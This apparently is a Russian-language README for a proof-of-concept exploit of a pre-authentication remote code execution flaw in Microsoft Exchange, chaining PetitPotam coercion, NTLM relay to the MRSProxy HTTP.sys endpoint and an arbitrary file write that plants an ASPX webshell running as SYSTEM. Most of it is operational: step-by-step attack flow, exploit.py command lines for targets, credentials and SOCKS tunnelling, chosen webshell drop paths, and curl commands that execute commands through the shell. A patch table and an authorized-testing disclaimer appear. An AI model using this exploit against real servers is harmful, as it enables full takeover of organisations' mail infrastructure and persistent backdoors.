
Эксплойт proof-of-concept для CVE-2026-62911: выполнение кода до аутентификации (pre-auth RCE) на Microsoft Exchange через NTLM-relay к MRSProxy, запись ASPX-веб-шелла для выполнения команд от имени SYSTEM.
RCE без аутентификации на Microsoft Exchange Server. Учётные данные не требуются.
Orange Tsai (DEVCORE) использовал эту уязвимость на Pwn2Own Berlin 2026 в составе цепочки из трёх багов. Приз $200,000, полный захват SYSTEM.
Exchange публикует MailboxReplicationProxyService (MRSProxy) по двум путям. Один из них размещается на HTTP.sys без расширенной защиты:
| Путь | Размещение | Расширенная защита |
|---|
/EWS/MRSProxy.svc | IIS | Да. Безопасно. |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | Нет. Цель для ретрансляции. |
Конечная точка HTTP.sys принимает аутентификацию Negotiate, но никогда не проверяет привязки каналов. Вы ретранслируете на неё хеш учётной записи компьютера, и Exchange считает вас этим компьютером. Учётные записи компьютеров по умолчанию имеют право ms-Exch-EPI-Token-Serialization, поэтому служба WCF предоставляет полный доступ.
Оказавшись внутри, IMailbox_Config6() принимает параметр filePath. PstDestinationMailbox.ConfigPst() записывает любой путь, который вы передадите. Проверки расширения нет. Укажите каталог IIS, вызовите IMailbox_Connect(), и файл окажется на диске. Сделайте этот файл ASPX-вебшеллом. Готово.
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Продукт | Уязвим ниже | Исправлено | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Поддержка Exchange 2016 завершилась в октябре 2025 года. Исправление августа 2026 года поставляется только через расширенные обновления безопасности (ESU). Если организация не приобрела ESU, патча нет.
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
Пять шагов:
Запустите MS-EFSR (EfsRpcOpenFileRaw) на EX02. Он аутентифицируется обратно к вам со своей учётной записью компьютера. PetitPotam работает без аутентификации против незапатченного Exchange.
Ваш SMB-слушатель перехватывает NTLM negotiate от EX02$.
Передайте его по HTTPS на MRSProxy сервера EX01. Конечная точка не проверяет EPA, поэтому ретрансляция завершается. Учётные записи компьютеров уже имеют право сериализации Exchange, поэтому авторизация проходит.
Отправьте WCF-вызовы: IMailbox_Config6 с путём вида C:\inetpub\wwwroot\aspnet_client\shell.aspx, затем IMailbox_Connect. Exchange записывает файл.
Обратитесь к вебшеллу. Вы — SYSTEM.
Установите зависимости:
pip install impacket pysocks
Проверьте, доступен ли MRSProxy:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
В ответе 401 вы должны увидеть Microsoft-HTTPAPI/2.0 с Negotiate. Это подтверждает, что конечная точка HTTP.sys активна и EPA отсутствует.
Запустите эксплойт:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
Если PetitPotam требует аутентификации на вашей цели:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
Через SOCKS-туннель:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
Выберите другое место записи:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
Проверьте, что шелл на месте:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
Используйте его:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Путь на диске | URL | Почему |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | Каталог клиентских скриптов IIS по умолчанию. Обычно доступен для записи, обслуживает ASPX. |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | То же, но короче. |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | Папка аутентификации OWA. |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | Папка аутентификации ECP. |
Только для авторизованного тестирования. Получите письменное разрешение, прежде чем запускать это против чего-либо.